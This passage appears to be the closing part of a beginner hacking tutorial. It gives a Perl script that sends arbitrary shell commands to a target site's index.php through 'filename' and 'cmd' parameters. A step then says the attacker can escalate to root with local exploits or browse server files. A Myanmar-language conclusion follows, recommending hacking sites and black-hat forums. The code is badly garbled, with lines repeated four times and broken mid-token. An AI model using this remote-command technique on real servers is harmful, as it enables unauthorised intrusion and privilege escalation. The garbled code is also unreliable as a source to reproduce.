print “print “print “print “\\\\nType command to run or exit to end: “;nType command to run or exit to end: “;nType command to run or exit to end: “;nType command to run or exit to end: “;    
$cmd = <STDIN>;$cmd = <STDIN>;$cmd = <STDIN>;$cmd = <STDIN>;    
while($cmd !~ “exit”) {while($cmd !~ “exit”) {while($cmd !~ “exit”) {while($cmd !~ “exit”) {    
$socket = IO::Socket::INET$socket = IO::Socket::INET$socket = IO::Socket::INET$socket = IO::Socket::INET---->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or >new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or >new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or >new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or 
die “die “die “die “\\\\nConnection Failed.nConnection Failed.nConnection Failed.nConnection Failed.\\\\nnnn\\\\n”;n”;n”;n”;    
print $socket “GET “.$path.”indeprint $socket “GET “.$path.”indeprint $socket “GET “.$path.”indeprint $socket “GET “.$path.”index.php?filename=”.$log.”&cmd=$cmd HTTP/1.1x.php?filename=”.$log.”&cmd=$cmd HTTP/1.1x.php?filename=”.$log.”&cmd=$cmd HTTP/1.1x.php?filename=”.$log.”&cmd=$cmd HTTP/1.1\\\\rrrr\\\\n”;n”;n”;n”;    
print $socket “Host: “.$site.”print $socket “Host: “.$site.”print $socket “Host: “.$site.”print $socket “Host: “.$site.”\\\\rrrr\\\\n”;n”;n”;n”;    
print $socket “Accept: */*print $socket “Accept: */*print $socket “Accept: */*print $socket “Accept: */*\\\\rrrr\\\\n”;n”;n”;n”;    
print $socket “Connection: closeprint $socket “Connection: closeprint $socket “Connection: closeprint $socket “Connection: close\\\\rrrr\\\\nnnn\\\\n”;n”;n”;n”;    
while ($show = <$socket>)while ($show = <$socket>)while ($show = <$socket>)while ($show = <$socket>)    
{{{{    
print $show;print $show;print $show;print $show;    
}}}}    
print “Type command to run or exit to end: “;print “Type command to run or exit to end: “;print “Type command to run or exit to end: “;print “Type command to run or exit to end: “;    
$cmd = <$cmd = <$cmd = <$cmd = <STDIN>;STDIN>;STDIN>;STDIN>;    
}}}}    
 
6. Once the hacker runs this script and it goes successfully, he will be able to run any 
command on the server. From here he can run any local exploits to gain root, or just 
browse the server files. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 
 

 
 
 
 
 
 
 

Chapter Ten 
Conclusion 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 
 

Aခု Aားလုံးကို ေလ့လာဖတ္ရႈၿပီးၿပီဆိုေတာ့ Aေျခခံဟကၠင္းAေၾကာင္း သိရွိၿပီးသြားပါၿပီ။ 
ဒီစာA ုပ္ထမဲွာပါတဲ့ ေခါင္းစU္ Topic တစ္ခုကို ေရြးခ်ယ္ၿပီး A ဲဒီ topic ကိုဆက္လက္ေလ့လာပါ။ A ဲဒီ 
topic ကိုေတာ္ေတာ္ႏွံ႕စပ္ကၽြမ္းက်င္သြားၿပီဆိုမွ ေနာက္တစ္ခုကို ဆက္ေလ့လာပါ။ ဟကၠင္းကို 
စတင္ေလ့လာသူေတြရဲ႕ A ႀကီးဆုံး A မွားတစ္ခုက တစ္ၿပိဳင္တည္းနဲ႕ A ားလုံးကို သိခ်င္တာပါပဲ။ 
တစ္ၿပိဳင္တည္းနဲ႕ A ားလုံးကို ေလ့လာရင္ေတာ့ A ခ်ိန္သာကုန္သြားပါမယ္၊ လုံလုံေလာက္ေလာက္ 
သိနားလည္မွာ မဟုတ္ပါဘူး။ ေA ာက္မွာကေတာ့ ဟကၠင္းနဲ႕သက္ဆုိင္တဲ့ site ေတြပါ။ 
• HackThisSite http://www.hackthissite.org/- web hacking ကိုဆက္လက္ေလ့လာဖို႕A တြက္ 
A လြန္ေကာင္းမြန္တဲ့ဆုိဒ္ပါ။ 
• HellBound Hackers http://www.hellboundhackers.org/- web hacking နဲ႕သက္ဆိုင္တဲ့ 
ဆိုဒ္ပါပဲ။ 
• Astalavista https://www.astalavista.net/index.php?adID=6344- Astalavista မွာ သင့္ကို 
ကူညီေပးမယ့္ security professionals ေတြရွိပါတယ္။ ေနာက္ၿပီး A ဒီဲမွာ security papers ေတြ၊ tools 
ေတြလည္း A မ်ားႀကီးရွိပါတယ္။ 
• DarkMindz http://www.darkmindz.com/ 
• Black-Hat Forums http://www.blackhat-forums.com/ 
 

Hacking နဲ႕ programming ဟာ ဒြန္တြဲေနတဲ့A တြက္ ေကာင္းမြန္တဲ့ programming forums 
A နည္းငယ္ကိုပါ ေဖာ္ျပလိုက္ပါတယ္။ 
• </dream.in.code> http://www.dreamincode.net/ 
• Programming Forums http://www.programmingforums.org/ 
• Go4Expert http://www.go4expert.com/ 
• CodeCall http://forum.codecall.net/ 
 
 
 
 
 
 
 
 
 
 
 
 



 
 
 


